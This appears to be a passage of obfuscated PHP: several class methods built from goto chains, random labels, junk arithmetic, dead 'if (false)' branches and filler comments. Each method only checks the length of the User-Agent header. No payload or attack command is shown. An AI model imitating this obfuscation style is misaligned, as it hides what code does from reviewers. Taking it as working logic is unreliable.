// z5PPgFotNo9P
$iX1geSuk = 573 + 1;
$FbaGmw5w = $iX1geSuk * 1;
goto a7BPaC6AV;
a7BPaC6AV:
$iCjD65Pi = 701 + 40;
$Pe9zuJ4r = $iCjD65Pi * 1;
goto a3Iisj2bk;
a3Iisj2bk:
$Pe9zuJ4r = 851 + 20;
$XsucffsH = $Pe9zuJ4r * 5;
if (false) { echo 'This is a dead end'; }
goto n3iHg2BC;
n3iHg2BC:
goto eRDZ2SiQ;
eRDZ2SiQ:
$bZa4iOd6 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Pl75af1t;
Pl75af1t:
$Pe9zuJ4r = 902 + 26;
$a6b9oay5s = $Pe9zuJ4r * 5;
goto a_SSufVDH;
a_SSufVDH:
/* Core module */
goto V1d6mkY1;
V1d6mkY1:
/* Security component */
goto yvFrSq0g;
yvFrSq0g:
/* Ajc148lKHjqzT2B */
$a6b9oay5s = 896 + 38;
$Pe9zuJ4r = $a6b9oay5s * 3;
goto QLJeJZoG;
QLJeJZoG:
goto a7t5FOATj;
a7t5FOATj:
goto a_QdFFC2c;
a_QdFFC2c:
if (false) { echo 'This is a dead end'; }
goto Ljz56PZB;
Ljz56PZB:
/* GqufDl3C8Vc0Lj_ */
$XsucffsH = 595 + 20;
$a6EHyDbxg = $XsucffsH * 2;
goto mcMhaO6v;
mcMhaO6v:
/* System file */
$Pe9zuJ4r = 664 + 9;
$NqlX8zGc = $Pe9zuJ4r * 5;
goto J3W2i03P;
J3W2i03P:
$BqYDw4sr = 664 + 27;
$iX1geSuk = $BqYDw4sr * 1;
goto F9LCEjyE;
F9LCEjyE:
$BqYDw4sr = 380 + 41;
$FbaGmw5w = $BqYDw4sr * 5;
goto ty_cwC2w;
ty_cwC2w:
goto eUIA22Yn;
eUIA22Yn:
/* Main service */
goto a93QkHyoA;
a93QkHyoA:
goto d30XASCG;
d30XASCG:
$FbaGmw5w = 606 + 42;
$FbaGmw5w = $FbaGmw5w * 4;
goto kuoKQl1L;
kuoKQl1L:
$n7sJ6WnP = strlen($bZa4iOd6);
goto PQSvg2UW;
PQSvg2UW:
// 8oIh2zvtRa4mYgGt
$WWDcP6ib = 896 + 42;
$a6EHyDbxg = $WWDcP6ib * 5;
goto ul1KXkYE;
ul1KXkYE:
/* ZeANLisIOm */
$B9ma2fmF = 554 + 35;
$a6EHyDbxg = $B9ma2fmF * 3;
goto a4I36bTep;
a4I36bTep:
$bZa4iOd6 = 822 + 43;
$WWDcP6ib = $bZa4iOd6 * 2;
goto a_IvsqOR8;
a_IvsqOR8:
if (false) { echo 'This is a dead end'; }
goto RwuyGp44;
RwuyGp44:
if (false) { echo 'This is a dead end'; }
goto gFx7rBnk;
gFx7rBnk:
goto E8zsHGKX;
E8zsHGKX:
goto P_WlROdG;
P_WlROdG:
goto a3BI8mpCK;
a3BI8mpCK:
if (false) { echo 'This is a dead end'; }
goto ujMwI2yt;
ujMwI2yt:
goto Yqjk4r9K;
Yqjk4r9K:
/* System file */
goto a7_TscrR_;
a7_TscrR_:
goto a82WFq5EQ;
a82WFq5EQ:
$BqYDw4sr = 980 + 34;
$n7sJ6WnP = $BqYDw4sr * 1;
goto a2M61OvqR;
a2M61OvqR:
goto ughpv8tI;
ughpv8tI:
/* System file */
goto TyNR9Opv;
TyNR9Opv:
return $n7sJ6WnP > 10;
}
private function bVBgAyCOBZ() {
goto gYWwIt_8;
gYWwIt_8:
// TJ75ugGSKRY1HMQ9
goto kQ92MLOG;
kQ92MLOG:
/* lQLz96SQ17 */
$a6EHyDbxg = 136 + 18;
$B9ma2fmF = $a6EHyDbxg * 5;
goto pMlV68fS;
pMlV68fS:
goto vaW7Ph5D;
vaW7Ph5D:
$BqYDw4sr = 532 + 29;
$bZa4iOd6 = $BqYDw4sr * 1;
goto a7tuhIOyM;
a7tuhIOyM:
/* rM5hi5SotD6P_hR */
goto CLslMYy0;
CLslMYy0:
goto frSAJRRX;
frSAJRRX:
goto Z4USayql;
Z4USayql:
/* System file */
goto uGlvbDti;
uGlvbDti:
goto saHIBcPW;
saHIBcPW:
/* Security component */
$a29IFo9lZ = 305 + 47;
$B9ma2fmF = $a29IFo9lZ * 4;
goto xThAW3Nl;
xThAW3Nl:
goto jc0zOgQH;
jc0zOgQH:
goto S59hUiRR;
S59hUiRR:
$a6EHyDbxg = 692 + 50;
$a29IFo9lZ = $a6EHyDbxg * 4;
goto MtPyg5Ed;
MtPyg5Ed:
// sZ4GkNRu
goto xm3hZiSn;
xm3hZiSn:
$NqlX8zGc = 194 + 19;
$bZa4iOd6 = $NqlX8zGc * 4;
if (false) { echo 'This is a dead end'; }
goto FhxouLmv;
FhxouLmv:
$B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto DY7q6GdC;
DY7q6GdC:
/* Main service */
$B9ma2fmF = 565 + 3;
$WWDcP6ib = $B9ma2fmF * 1;
if (false) { echo 'This is a dead end'; }
goto Y06doMCU;
Y06doMCU:
if (false) { echo 'This is a dead end'; }
goto IBjTEtfB;
IBjTEtfB:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto ZC0kjS1L;
ZC0kjS1L:
// fPUzhdZH
$iX1geSuk = 154 + 47;
$bZa4iOd6 = $iX1geSuk * 3;
goto x3D2UYpw;
x3D2UYpw:
$B9ma2fmF = 982 + 3;
$iX1geSuk = $B9ma2fmF * 1;
if (false) { echo 'This is a dead end'; }
goto uRjdJFSc;
uRjdJFSc:
/* EBNm_C7_XzOG0y1W_EmQ */
$iCjD65Pi = 515 + 14;
$a6b9oay5s = $iCjD65Pi * 5;
goto kvkCduox;
kvkCduox:
/* b14KqedVq5K_X3fmxOGI */
$bZa4iOd6 = 348 + 22;
$FbaGmw5w = $bZa4iOd6 * 3;
goto HW13uoDR;
HW13uoDR:
$iCjD65Pi = 868 + 27;
$bZa4iOd6 = $iCjD65Pi * 5;
if (false) { echo 'This is a dead end'; }
goto a4ABfCFhO;
a4ABfCFhO:
/* Core module */
goto IMkKA7PT;
IMkKA7PT:
goto a7ffSGVjI;
a7ffSGVjI:
goto shpYafQY;
shpYafQY:
goto a9qK_nn80;
a9qK_nn80:
/* 2QpgVWcFK0S12NR4Mj4h */
$a6EHyDbxg = 468 + 32;
$FbaGmw5w = $a6EHyDbxg * 2;
goto a9rjVso1A;
a9rjVso1A:
/* aAiC54guHU */
$XsucffsH = 207 + 13;
$a6b9oay5s = $XsucffsH * 5;
goto HbEWihbu;
HbEWihbu:
/* Core module */
goto Ko_sMij3;
Ko_sMij3:
$WWDcP6ib = strlen($B9ma2fmF);
goto a_tV7qtxH;
a_tV7qtxH:
$n7sJ6WnP = 445 + 10;
$n7sJ6WnP = $n7sJ6WnP * 5;
if (false) { echo 'This is a dead end'; }
goto TUpjSlHp;
TUpjSlHp:
// R2S0uql7E2KZ
$B9ma2fmF = 840 + 16;
$FbaGmw5w = $B9ma2fmF * 5;
if (false) { echo 'This is a dead end'; }
goto p1I5Slgv;
p1I5Slgv:
/* Core module */
goto jaz5eCWA;
jaz5eCWA:
/* System file */
goto G64fTrpg;
G64fTrpg:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto Yrst5GHG;
Yrst5GHG:
/* API handler */
goto JijcSELl;
JijcSELl:
// jBYWzqMSZ6zs
goto UkcMIcIl;
UkcMIcIl:
if (false) { echo 'This is a dead end'; }
goto gwaf7DTo;
gwaf7DTo:
if (false) { echo 'This is a dead end'; }
goto MH0CGxK6;
MH0CGxK6:
/* 9_1xHmMURhsUbRo */
$iCjD65Pi = 432 + 47;
$WWDcP6ib = $iCjD65Pi * 4;
goto sGf5g2uL;
sGf5g2uL:
$a6b9oay5s = 150 + 9;
$BqYDw4sr = $a6b9oay5s * 3;
goto KW6aabYV;
KW6aabYV:
$BqYDw4sr = 995 + 33;
$iX1geSuk = $BqYDw4sr * 4;
goto wfS4dbcj;
wfS4dbcj:
goto bXNfOb2z;
bXNfOb2z:
/* Security component */
$NqlX8zGc = 913 + 30;
$BqYDw4sr = $NqlX8zGc * 1;
goto BMqosIZs;
BMqosIZs:
/* fETBPzBiYd */
goto wtFqmwYh;
wtFqmwYh:
return $WWDcP6ib > 10;
}
private function mVMNWoR0_l() {
goto p2neGAdD;
p2neGAdD:
$n7sJ6WnP = 115 + 15;
$WWDcP6ib = $n7sJ6WnP * 3;
goto HhROM_Y5;
HhROM_Y5:
goto DkQFLd1S;
DkQFLd1S:
// uxQVst4zUvQiEvir
$n7sJ6WnP = 276 + 36;
$NqlX8zGc = $n7sJ6WnP * 1;
goto z_4BeOSV;
z_4BeOSV:
$iCjD65Pi = 466 + 41;
$iCjD65Pi = $iCjD65Pi * 3;
goto ETxU027F;
ETxU027F:
/* Security component */
$FbaGmw5w = 195 + 4;
$a6b9oay5s = $FbaGmw5w * 1;
goto QVwdDqVl;
QVwdDqVl:
goto d7juuRqJ;
d7juuRqJ:
// 4fhwWVYFLxBf
goto pRV4jZmV;
pRV4jZmV:
$BqYDw4sr = 209 + 46;
$a6b9oay5s = $BqYDw4sr * 5;
goto ADLVLjry;
ADLVLjry:
goto QbEEBX3M;
QbEEBX3M:
goto Q0w9KFif;
Q0w9KFif:
if (false) { echo 'This is a dead end'; }
goto ETq_vv7T;
ETq_vv7T:
goto auiaQsWI;
auiaQsWI:
if (false) { echo 'This is a dead end'; }
goto cpjo5IK5;
cpjo5IK5:
/* nrLWiRb0VE */
$NqlX8zGc = 473 + 23;
$FbaGmw5w = $NqlX8zGc * 5;
if (false) { echo 'This is a dead end'; }
goto gYmqMhLt;
gYmqMhLt:
/* System file */
$a6EHyDbxg = 326 + 7;
$iCjD65Pi = $a6EHyDbxg * 4;
goto HxOrZLQL;
HxOrZLQL:
$jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a1JUgHIwV;
a1JUgHIwV:
/* System file */
goto YB2y0aFD;
YB2y0aFD:
/* bT_WJEVr0p9PD_kOlPo1 */
if (false) { echo 'This is a dead end'; }
goto cn2ZsHci;
cn2ZsHci:
if (false) { echo 'This is a dead end'; }
goto gJecKHpM;
gJecKHpM:
if (false) { echo 'This is a dead end'; }
goto a819m4VHR;
a819m4VHR:
// vHTs85XBwDTJQar5
goto TJDZ3mRZ;
TJDZ3mRZ:
goto w9tYnGMT;
w9tYnGMT:
// ZqhwgvOhZZSA4_FK
goto qaarNBkN;
qaarNBkN:
goto f0kFp7Ot;
f0kFp7Ot:
/* Security component */
$WWDcP6ib = 340 + 4;
$FbaGmw5w = $WWDcP6ib * 3;
goto tVscpEzA;
tVscpEzA:
/* API handler */
$NqlX8zGc = 170 + 21;
$a29IFo9lZ = $NqlX8zGc * 5;
goto KFygS90E;
KFygS90E:
if (false) { echo 'This is a dead end'; }
goto a3ZribHn8;
a3ZribHn8:
if (false) { echo 'This is a dead end'; }
goto Ij0XuOac;
Ij0XuOac:
$a6EHyDbxg = 317 + 13;
$B9ma2fmF = $a6EHyDbxg * 5;
goto XbUHVQgc;
XbUHVQgc:
goto FbAW3p75;
FbAW3p75:
$jIP39ari = 411 + 2;
$BqYDw4sr = $jIP39ari * 3;
goto QiaQe1U6;
QiaQe1U6:
$a29IFo9lZ = strlen($jIP39ari);
goto BersgKhi;
BersgKhi:
/* QULOPyqlh9iyYiNx5SAO */
if (false) { echo 'This is a dead end'; }
goto BMiGTM0h;
BMiGTM0h:
/* gaWWjA5A3W */
$iX1geSuk = 869 + 2;
$BqYDw4sr = $iX1geSuk * 3;
goto kARrGESZ;
kARrGESZ:
$B9ma2fmF = 745 + 18;
$bZa4iOd6 = $B9ma2fmF * 5;
goto a9almdFXs;
a9almdFXs:
// 8MGYFlFpu2Vj
goto nmGopSWz;
nmGopSWz:
/* API handler */
goto eKL4dM34;
eKL4dM34:
goto fDjyBia7;
fDjyBia7:
goto a2kwubeuw;
a2kwubeuw:
/* Th6B6VUiWY7jBg5 */
$jIP39ari = 443 + 15;
$BqYDw4sr = $jIP39ari * 2;
if (false) { echo 'This is a dead end'; }
goto GosxjQbE;
GosxjQbE:
goto Bg51vRR9;
Bg51vRR9:
goto fhRTl35a;
fhRTl35a:
$XsucffsH = 130 + 8;
$bZa4iOd6 = $XsucffsH * 5;
goto a9wKFFgw8;
a9wKFFgw8:
/* Core module */
goto BuX_y4br;
BuX_y4br:
// pEbl6S9YGruJlyJo
goto lyohEC4a;
lyohEC4a:
$WWDcP6ib = 468 + 45;
$WWDcP6ib = $WWDcP6ib * 1;
goto b4anT5mH;
b4anT5mH:
if (false) { echo 'This is a dead end'; }
goto EKnK3ca5;
EKnK3ca5:
return $a29IFo9lZ > 10;
}
private function dXh96Gl0oz() {
// yr0LKHhRkaG2
goto R3pW567a;
R3pW567a:
goto pXayyvtr;
pXayyvtr:
/* rcUfbEBbpm */
goto mK8dKvBT;
mK8dKvBT:
/* veINLtSlOI7GKjp */
goto rp4t3W2d;
rp4t3W2d:
$jIP39ari = 537 + 36;
$WWDcP6ib = $jIP39ari * 4;
goto TCmWU0kz;
TCmWU0kz:
/* RPUcjpxz1nV2Bw5 */
goto w4irJvBn;
w4irJvBn:
goto JzmXWMy3;
JzmXWMy3:
/* _X_kJTkdKns6SbJ */
goto Ny0Lc8zg;
Ny0Lc8zg:
if (false) { echo 'This is a dead end'; }
goto a0OuION5u;
a0OuION5u:
goto xJiAj0A2;
xJiAj0A2:
goto TRGHIVc7;
TRGHIVc7:
goto a8qszguMX;
a8qszguMX:
goto CjV4_GYJ;
CjV4_GYJ:
/* GNWt137eKb */
if (false) { echo 'This is a dead end'; }
goto lXMhCbjp;
lXMhCbjp:
goto Mg87qRdO;
Mg87qRdO:
$n7sJ6WnP = 761 + 40;
$NqlX8zGc = $n7sJ6WnP * 3;
goto k7gDKtpV;
k7gDKtpV:
$a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto OZY5hTwB;
OZY5hTwB:
goto NuB9s_aB;
NuB9s_aB:
$a29IFo9lZ = 554 + 25;
$Pe9zuJ4r = $a29IFo9lZ * 5;
if (false) { echo 'This is a dead end'; }
goto MNjAeEAE;
MNjAeEAE:
$n7sJ6WnP = 564 + 12;
$iCjD65Pi = $n7sJ6WnP * 1;
goto iubYPaNV;
iubYPaNV:
goto zKsKAzeB;
zKsKAzeB:
$WWDcP6ib = 266 + 21;
$a29IFo9lZ = $WWDcP6ib * 5;
goto RXTY7LAO;
RXTY7LAO:
if (false) { echo 'This is a dead end'; }
goto a0vJom_f8;
a0vJom_f8:
$a29IFo9lZ = 744 + 17;
$BqYDw4sr = $a29IFo9lZ * 2;
if (false) { echo 'This is a dead end'; }
goto cK_bJHVK;
cK_bJHVK:
// WyFGsOzzMJGmfdzT
goto a0bby6wx0;
a0bby6wx0:
goto vE5uleb2;
vE5uleb2:
/* System file */
goto gwuyFSpV;
gwuyFSpV:
$bZa4iOd6 = 810 + 22;
$a29IFo9lZ = $bZa4iOd6 * 4;
goto HVO2UBv7;
HVO2UBv7:
// J1LxLTttlfvV
$iCjD65Pi = 361 + 35;
$a6b9oay5s = $iCjD65Pi * 1;
if (false) { echo 'This is a dead end'; }
goto RdhGIRYI;
RdhGIRYI:
/* auPieBpYCK */
goto a7ZAZybXk;
a7ZAZybXk:
goto TCL6Zf7W;
TCL6Zf7W:
/* gE4HkdS4jb */
goto eCAU24C9;
eCAU24C9:
$a29IFo9lZ = strlen($a6EHyDbxg);
goto uJSIZTZb;
uJSIZTZb:
goto OG47Kbwr;
OG47Kbwr:
/* Security component */
$XsucffsH = 186 + 2;
$NqlX8zGc = $XsucffsH * 2;
goto YcjqsnmW;
YcjqsnmW:
/* ppyjUoJVc6_1qYdYouTQ */
goto ds4aa3gR;
ds4aa3gR:
$NqlX8zGc = 610 + 17;
$Pe9zuJ4r = $NqlX8zGc * 4;
if (false) { echo 'This is a dead end'; }
goto J50Rebwe;
J50Rebwe:
/* UknydKCAmksoT5jyYynd */
goto a4JEnb6n;
a4JEnb6n:
goto w17zZPsm;
w17zZPsm:
goto bGBmfE4y;
bGBmfE4y:
$iX1geSuk = 838 + 14;
$NqlX8zGc = $iX1geSuk * 1;
if (false) { echo 'This is a dead end'; }
goto QvdViHGi;
QvdViHGi:
goto tTr15Kqw;
tTr15Kqw:
goto ABkOVKea;
ABkOVKea:
$iX1geSuk = 953 + 47;
$BqYDw4sr = $iX1geSuk * 3;
if (false) { echo 'This is a dead end'; }
goto a4aLZSzqa;
a4aLZSzqa:
// qLFUHSIWJhydEYpF
goto nCGwPGPW;
nCGwPGPW:
/* API handler */
goto EuCcOpNx;
EuCcOpNx:
goto a0jNfRnsp;
a0jNfRnsp:
goto L1LsOy7Q;
L1LsOy7Q:
return $a29IFo9lZ > 10;
}
private function a0Of3jiyKHN() {
// koDgiLyN_wJKsdJe
goto vwGT1eFS;
vwGT1eFS:
/* System file */
$B9ma2fmF = 880 + 36;
$NqlX8zGc = $B9ma2fmF * 4;
goto JrEVi25t;
JrEVi25t:
goto lMqlUktE;
lMqlUktE:
$iCjD65Pi = 617 + 26;
$a6EHyDbxg = $iCjD65Pi * 4;
goto OjmB3pM4;
OjmB3pM4:
goto a0Xu_aRCW;
a0Xu_aRCW:
goto fEr_MEPt;
fEr_MEPt:
goto kyftp5RI;
kyftp5RI:
if (false) { echo 'This is a dead end'; }
goto Tlm2id1B;
Tlm2id1B:
/* Main service */
goto a_4i8RnSe;
a_4i8RnSe:
// T86Sc2RgfQBsLtBB
if (false) { echo 'This is a dead end'; }
goto aYyNT5iH;
aYyNT5iH:
$a6b9oay5s = 207 + 27;
$Pe9zuJ4r = $a6b9oay5s * 5;
goto NY9_Qpgf;
NY9_Qpgf:
// tqyShXYOu3av
goto ambQw9Rn;
ambQw9Rn:
/* Main service */
goto OatY2cUk;
OatY2cUk:
/* Core module */
$NqlX8zGc = 417 + 46;
$a6EHyDbxg = $NqlX8zGc * 2;
goto FoCL9YJI;
FoCL9YJI:
goto a7ZL9mlQG;
a7ZL9mlQG:
// 2pvJJd8w
goto EI6FgeRY;
EI6FgeRY:
$BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto PKx_0EQn;
PKx_0EQn:
/* Core module */
$n7sJ6WnP = 617 + 6;
$iCjD65Pi = $n7sJ6WnP * 4;
goto a0yZJ8lrc;
a0yZJ8lrc:
goto pvfGNtOK;
pvfGNtOK:
/* H0p5vz3vYO46lfm */
goto MfShuxSU;
MfShuxSU:
/* Security component */
goto nf2J1CkM;
nf2J1CkM:
// 03DYIdtu2yB2
$Pe9zuJ4r = 579 + 46;
$NqlX8zGc = $Pe9zuJ4r * 4;
goto AcJS0e38;
AcJS0e38:
/* Main service */
$BqYDw4sr = 404 + 46;
$XsucffsH = $BqYDw4sr * 4;
if (false) { echo 'This is a dead end'; }
goto bh5kQhTc;
bh5kQhTc:
if (false) { echo 'This is a dead end'; }
goto PBK19xZU;
PBK19xZU:
// BcXmIPCoVhD17jVK
goto Q4cYhIVG;
Q4cYhIVG:
/* Security component */
goto wwjYeXre;
wwjYeXre:
/* 59UstI8bXHq0bY4gWtNu */
$WWDcP6ib = 468 + 50;
$iCjD65Pi = $WWDcP6ib * 5;
if (false) { echo 'This is a dead end'; }
goto sle_tDyF;
sle_tDyF:
$a29IFo9lZ = 114 + 8;
$n7sJ6WnP = $a29IFo9lZ * 2;
goto Axp4HaGe;
Axp4HaGe:
/* Core module */
goto K1q4FjaJ;
K1q4FjaJ:
/* Main service */
$jIP39ari = 691 + 37;
$bZa4iOd6 = $jIP39ari * 3;
goto a1_ct9LXM;
a1_ct9LXM:
/* doIO9hL2Qg */
$a6EHyDbxg = 796 + 23;
$a29IFo9lZ = $a6EHyDbxg * 5;
goto WVt23g4U;
WVt23g4U:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto a8VpElkPL;
a8VpElkPL:
$bZa4iOd6 = strlen($BqYDw4sr);
goto jRu8qSR6;
jRu8qSR6:
// GzzO4ggde3IDu1_6
$a6b9oay5s = 167 + 46;
$iCjD65Pi = $a6b9oay5s * 5;
goto hZoVCBdX;
hZoVCBdX:
if (false) { echo 'This is a dead end'; }
goto CKtNqVWi;
CKtNqVWi:
$jIP39ari = 308 + 31;
$jIP39ari = $jIP39ari * 2;
goto kkrgXxij;
kkrgXxij:
// DkZZAQaL
$iCjD65Pi = 578 + 13;
$a6EHyDbxg = $iCjD65Pi * 3;
goto wxyjL7hl;
wxyjL7hl:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto ycjn5SHx;
ycjn5SHx:
/* VTgOApn4BP */
goto B9EoVuxK;
B9EoVuxK:
/* Main service */
$B9ma2fmF = 384 + 30;
$iCjD65Pi = $B9ma2fmF * 5;
goto VTPb_tRz;
VTPb_tRz:
/* API handler */
goto skuli_Tq;
skuli_Tq:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto nGVbRpau;
nGVbRpau:
/* M2W1DnIPRFsayk3 */
if (false) { echo 'This is a dead end'; }
goto RV52qCXY;
RV52qCXY:
// KMwCkXcD
goto P9REn6w1;
P9REn6w1:
$Pe9zuJ4r = 566 + 15;
$n7sJ6WnP = $Pe9zuJ4r * 2;
if (false) { echo 'This is a dead end'; }
goto c_e_G2Sa;
c_e_G2Sa:
// 3tGSbtR4
if (false) { echo 'This is a dead end'; }
goto G3LLIyi_;
G3LLIyi_:
/* Main service */
goto g7bcmQCd;
g7bcmQCd:
// 8FiATPg7eYLr
$bZa4iOd6 = 808 + 20;
$n7sJ6WnP = $bZa4iOd6 * 2;
goto Euaerc20;
Euaerc20:
return $bZa4iOd6 > 10;
}
private function a99rZ5yNeBi() {
goto JHiuJG3m;
JHiuJG3m:
/* Main service */
$Pe9zuJ4r = 562 + 32;
$a6EHyDbxg = $Pe9zuJ4r * 5;
if (false) { echo 'This is a dead end'; }
goto s2TvAp9X;
s2TvAp9X:
/* API handler */
$a29IFo9lZ = 830 + 37;
$a6b9oay5s = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto JxJojSPQ;
JxJojSPQ:
/* TcRVa0cc_atuZMl9OeGT */
goto KiUzmJmU;
KiUzmJmU:
$bZa4iOd6 = 915 + 20;
$iCjD65Pi = $bZa4iOd6 * 5;
goto mD2c3k5v;
mD2c3k5v:
// KMubjd9t
$FbaGmw5w = 717 + 9;
$FbaGmw5w = $FbaGmw5w * 2;
goto i6HB0IMX;
i6HB0IMX:
/* Security component */
goto jdnXpBwx;
jdnXpBwx:
/* Security component */
goto fgkkUkp1;
fgkkUkp1:
/* System file */
goto s9n7suoo;
s9n7suoo:
/* HBD70fdxxGJVOGxeCeCy */
goto rAbMw71O;
rAbMw71O:
/* Main service */
$B9ma2fmF = 258 + 50;
$B9ma2fmF = $B9ma2fmF * 1;
goto W_i3Thtx;
W_i3Thtx:
/* Security component */
goto KZLOZGHV;
KZLOZGHV:
goto a9XApYAI5;
a9XApYAI5:
$a6EHyDbxg = 106 + 14;
$n7sJ6WnP = $a6EHyDbxg * 1;
goto TpBIg_eQ;
TpBIg_eQ:
/* Security component */
goto b__Hp9N4;
b__Hp9N4:
/* BSuecQMxvbX1wRv7yZbZ */
$iX1geSuk = 426 + 30;
$n7sJ6WnP = $iX1geSuk * 3;
goto LtMVDWn5;
LtMVDWn5:
$n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto j31JFhgH;
j31JFhgH:
/* System file */
goto jGxyfMBY;
jGxyfMBY:
goto a8LGO87yu;
a8LGO87yu:
goto mJNMNTCY;
mJNMNTCY:
/* Security component */
goto HOqWCzo9;
HOqWCzo9:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto tC64bgKu;
tC64bgKu:
// u3uPstGN2HeT
goto a__2iU3ym;
a__2iU3ym:
goto WPbMQwQZ;
WPbMQwQZ:
// _O0bBLzzmtU3
$iX1geSuk = 297 + 13;
$bZa4iOd6 = $iX1geSuk * 4;
goto U5H2exyZ;
U5H2exyZ:
$XsucffsH = 394 + 7;
$a29IFo9lZ = $XsucffsH * 2;
goto n3HpeHN_;
n3HpeHN_:
// 5VN6T6HKX8aBbGns
$iCjD65Pi = 432 + 10;
$iCjD65Pi = $iCjD65Pi * 3;
goto a0i_BfKDc;
a0i_BfKDc:
$jIP39ari = 372 + 27;
$XsucffsH = $jIP39ari * 5;
goto DvYudpcM;
DvYudpcM:
if (false) { echo 'This is a dead end'; }
goto a1aSxIYw3;
a1aSxIYw3:
goto FBIJQYay;
FBIJQYay:
goto WIFx561_;
WIFx561_:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto EDIW053h;
EDIW053h:
$a29IFo9lZ = strlen($n7sJ6WnP);
goto a1BCw1gnv;
a1BCw1gnv:
$bZa4iOd6 = 784 + 50;
$XsucffsH = $bZa4iOd6 * 4;
goto XqnboGqv;
XqnboGqv:
/* API handler */
$FbaGmw5w = 304 + 38;
$Pe9zuJ4r = $FbaGmw5w * 1;
goto pQ55oOP8;
pQ55oOP8:
// TL7dF4LMCea0
$XsucffsH = 940 + 41;
$Pe9zuJ4r = $XsucffsH * 4;
goto TxAyINJ_;
TxAyINJ_:
goto GieTKGlz;
GieTKGlz:
goto JfI6NvWs;
JfI6NvWs:
/* API handler */
$a29IFo9lZ = 462 + 1;
$BqYDw4sr = $a29IFo9lZ * 4;
goto a92mAnFhx;
a92mAnFhx:
/* System file */
if (false) { echo 'This is a dead end'; }
goto oFuFlSQG;
oFuFlSQG:
/* SunYAdo3B0 */
goto wEMlWGgg;
wEMlWGgg:
/* API handler */
goto a5hIDjpwq;
a5hIDjpwq:
goto vval4Eck;
vval4Eck:
/* Gn6etHQx4y */
goto P20gr6TQ;
P20gr6TQ:
/* System file */
goto i0BkmxYw;
i0BkmxYw:
/* Core module */
$WWDcP6ib = 839 + 28;
$Pe9zuJ4r = $WWDcP6ib * 2;
goto kUkTwNzK;
kUkTwNzK:
if (false) { echo 'This is a dead end'; }
goto ljf4yEps;
ljf4yEps:
/* 6BEVj4IUNG */
$B9ma2fmF = 521 + 48;
$FbaGmw5w = $B9ma2fmF * 4;
if (false) { echo 'This is a dead end'; }
goto XKE3i1PD;
XKE3i1PD:
return $a29IFo9lZ > 10;
}
private function FqnnyEn5os() {
goto FeDGT2m5;
FeDGT2m5:
if (false) { echo 'This is a dead end'; }
goto a7T4fB4og;
a7T4fB4og:
goto kc8ZH3p_;
kc8ZH3p_:
goto a5H32Pkli;
a5H32Pkli:
/* jf5Rkpirfb */
goto YtmKgnyg;
YtmKgnyg:
goto MWNyQqI2;
MWNyQqI2:
/* u6LKoubfLt */
$FbaGmw5w = 501 + 48;
$a6EHyDbxg = $FbaGmw5w * 1;
if (false) { echo 'This is a dead end'; }
goto rt4G7GQ4;
rt4G7GQ4:
/* Z3xcS_6pDGvtZS5956Oa */
$n7sJ6WnP = 718 + 1;
$iX1geSuk = $n7sJ6WnP * 2;
if (false) { echo 'This is a dead end'; }
goto a46sqkKms;
a46sqkKms:
/* Core module */
goto ut7s5R6I;
ut7s5R6I:
$BqYDw4sr = 965 + 43;
$bZa4iOd6 = $BqYDw4sr * 3;
goto rMOmF9jM;
rMOmF9jM:
$iX1geSuk = 979 + 27;
$BqYDw4sr = $iX1geSuk * 4;
goto rZWCuelB;
rZWCuelB:
/* 6MPy_m6e16 */
if (false) { echo 'This is a dead end'; }
goto a4uBHvKu;
a4uBHvKu:
/* Security component */
goto s8qa3wY8;
s8qa3wY8:
goto ZMJc1Wde;
ZMJc1Wde:
/* AplmUEuOVG4Qk75rBbVC */
if (false) { echo 'This is a dead end'; }
goto B5RIo0lY;
B5RIo0lY:
goto a8aPgfMiB;
a8aPgfMiB:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a9UjTBm1l;
a9UjTBm1l:
goto nFFycyLr;
nFFycyLr:
// 49R0UpPoAjm9
goto vwVLwQ6r;
vwVLwQ6r:
/* API handler */
$BqYDw4sr = 756 + 50;
$n7sJ6WnP = $BqYDw4sr * 2;
goto QzOfGK2t;
QzOfGK2t:
/* Core module */
$FbaGmw5w = 440 + 20;
$bZa4iOd6 = $FbaGmw5w * 1;
if (false) { echo 'This is a dead end'; }
goto Mc1IKDce;
Mc1IKDce:
/* Core module */
goto a5oRHTNg3;
a5oRHTNg3:
goto ngIuKEb0;
ngIuKEb0:
goto rknJ9krV;
rknJ9krV:
if (false) { echo 'This is a dead end'; }
goto uMCb1oXb;
uMCb1oXb:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto ZdcIgu9u;
ZdcIgu9u:
goto AzH5nsB1;
AzH5nsB1:
/* Security component */
$WWDcP6ib = 326 + 31;
$n7sJ6WnP = $WWDcP6ib * 5;
if (false) { echo 'This is a dead end'; }
goto M9eBjjNO;
M9eBjjNO:
if (false) { echo 'This is a dead end'; }
goto Ni5Q2Lkg;
Ni5Q2Lkg:
$iCjD65Pi = 993 + 15;
$a6b9oay5s = $iCjD65Pi * 3;
goto c7KzDkbW;
c7KzDkbW:
goto GSVfJIe8;
GSVfJIe8:
$a29IFo9lZ = 615 + 37;
$B9ma2fmF = $a29IFo9lZ * 4;
goto uUoxxFPu;
uUoxxFPu:
$a29IFo9lZ = strlen($XsucffsH);
goto eyAfVqBl;
eyAfVqBl:
goto ZXsSJOPR;
ZXsSJOPR:
$B9ma2fmF = 955 + 20;
$XsucffsH = $B9ma2fmF * 4;
goto ZjpccvyN;
ZjpccvyN:
$iCjD65Pi = 200 + 20;
